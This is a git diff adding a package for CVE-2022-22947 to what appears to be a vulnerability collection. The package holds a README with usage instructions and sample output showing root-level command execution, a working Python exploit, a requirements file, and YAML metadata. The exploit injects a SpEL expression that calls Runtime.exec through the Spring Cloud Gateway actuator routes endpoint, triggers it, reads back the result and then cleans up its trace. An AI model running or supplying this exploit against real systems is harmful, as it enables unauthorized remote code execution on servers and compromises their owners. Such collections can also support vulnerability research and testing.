diff --git a/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/README.md b/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..d744b0b88862a5de15b73bbec6ba379cfa26e9ef
--- /dev/null
+++ b/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/README.md
@@ -0,0 +1,44 @@
+# Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)
+###### CVE: CVE-2022-22947 
+###### CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)
+###### Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
+
+
+#### Usage
+```sh
+git clone https://github.com/carlosevieira/CVE-2022-22947
+cd CVE-2022-22947
+pip3 install -r requirements.txt
+python3 exploit.py http://target 'id'
+```
+
+```sh
+john@doe:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'
+
+    ###################################################
+    #                                                 #
+    #   Exploit for CVE-2022-22947                    #
+    #   - Carlos Vieira (Crowsec)                     #
+    #                                                 #
+    #   Usage:                                        #
+    #   python3 exploit.py <url> <command>            #
+    #                                                 #
+    #   Example:                                      #
+    #   python3 exploit.py http://localhost:8080 'id' #
+    #                                                 #
+    ###################################################
+    
+[+] Stage deployed to /actuator/gateway/routes/rtxhovup
+[+] Executing command...
+[+] getting result...
+[+] Stage removed!
+uid=0(root) gid=0(root) groups=0(root)
+```
+
+#### References
+
+https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
+
+https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
+
+https://tanzu.vmware.com/security/cve-2022-22947
\ No newline at end of file
diff --git a/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/exploit.py b/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/exploit.py
new file mode 100644
index 0000000000000000000000000000000000000000..953f4759313e13774e616d2d23425caac61ba577
--- /dev/null
+++ b/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/exploit.py
@@ -0,0 +1,76 @@
+import random
+import string
+import requests
+import json
+import sys
+import urllib.parse
+import base64
+import urllib3
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+headers = { "Content-Type": "application/json" , 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Accept' : '*/*'}
+
+id = ''.join(random.choice(string.ascii_lowercase) for i in range(8))
+
+def exploit(url, command):
+    
+    payload = { "id": id, "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\u0022"+command+"\u0022).getInputStream()))}"}}],"uri": "http://example.com"}
+    
+    rbase = requests.post(url + '/actuator/gateway/routes/'+id, headers=headers, data=json.dumps(payload), verify=False)
+    if(rbase.status_code == 201):
+        print("[+] Stage deployed to /actuator/gateway/routes/"+id)
+        print("[+] Executing command...")
+        r = requests.post(url + '/actuator/gateway/refresh', headers=headers, verify=False)
+        if(r.status_code == 200):
+            print("[+] getting result...")
+            r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
+            if(r.status_code == 200):
+                get_response = r.json()
+                clean(url, id)
+                return get_response['filters'][0].split("'")[1]
+            else:
+                print("[-] Error: Invalid response")
+                clean(url, id)
+                exit(1)
+        else:
+            clean(url, id)
+            print("[-] Error executing command")
+    else:
+        print("[X] Error: Fail to deploy stage (Patched ?)")
+        exit(1)
+    
+def clean(url, id):
+    remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
+    if(remove.status_code == 200):
+        print("[+] Stage removed!")
+    else:
+        print("[-] Error: Fail to remove stage")
+
+def banner():
+    print("""
+    ###################################################
+    #                                                 #
+    #   Exploit for CVE-2022-22947                    #
+    #   - Carlos Vieira (Crowsec)                     #
+    #                                                 #
+    #   Usage:                                        #
+    #   python3 exploit.py <url> <command>            #
+    #                                                 #
+    #   Example:                                      #
+    #   python3 exploit.py http://localhost:8080 'id' #
+    #                                                 #
+    ###################################################
+    """)
+
+def main():
+    banner()
+    if len(sys.argv) != 3:
+        print("[-] Error: Invalid arguments")
+        print("[-] Usage: python3 exploit.py <url> <command>")
+        exit(1)
+    else:
+        url = sys.argv[1]
+        command = sys.argv[2]
+        print(exploit(url, command))
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/requirements.txt b/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/requirements.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e4f9df0ff7bdaf7bac666fa609025e4f7ac12929
--- /dev/null
+++ b/cve/java-spring-cloud-gateway/2022/CVE-2022-22947/requirements.txt
@@ -0,0 +1,5 @@
+certifi==2021.10.8
+charset-normalizer==2.0.12
+idna==3.3
+requests==2.27.1
+urllib3==1.26.8
diff --git a/cve/java-spring-cloud-gateway/2022/yaml/CVE-2022-22947.yaml b/cve/java-spring-cloud-gateway/2022/yaml/CVE-2022-22947.yaml
new file mode 100644
index 0000000000000000000000000000000000000000..21923f4393f1f89566eae5d3de2fd2a82b8b91b8
--- /dev/null
+++ b/cve/java-spring-cloud-gateway/2022/yaml/CVE-2022-22947.yaml
@@ -0,0 +1,22 @@
+id: CVE-2022-22947
+source: 
+  https://github.com/crowsec-edtech/CVE-2022-22947
+info:
+  name: Spring Cloud Gateway 是 Spring Cloud 的一个全新项目，该项目是基于 Spring 5.0，Spring Boot 2.0 和 Project Reactor 等技术开发的网关，它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。
+  severity: critical
+  description: |
+    Spring Cloud Gateway存在远程代码执行漏洞，该漏洞是发生在Spring Cloud Gateway应用程序的Actuator端点，其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可利用该漏洞通过恶意创建允许在远程主机上执行任意远程请求。
+  scope-of-influence:
+    Spring Cloud GateWay 3.1.0
+    Spring Cloud GateWay >=3.0.0, <=3.0.6
+    Spring Cloud GateWay <3.0.0
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-22947
+  classification:
+    cvss-metrics:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 10.0
+    cve-id: CVE-2022-22947
+    cwe-id: CWE-94
+    cnvd-id: None
+    kve-id: None
+  tags: cve2022, spring-cloud-gateway
\ No newline at end of file
diff --git a/other_list.yaml b/other_list.yaml
index 9584b359e4b54dd02a6e006ad6e0cbab9f1fa089..07ab1f7a3be395c40a0c33d89940bab1ca6b86a2 100644
--- a/other_list.yaml
+++ b/other_list.yaml
@@ -19,4 +19,6 @@ cve:
     - CVE-2021-44142
   nvidia:
     - CVE-2021-1056
+  java-spring-cloud-gateway:
+    - CVE-2022-22947
 cnvd:
\ No newline at end of file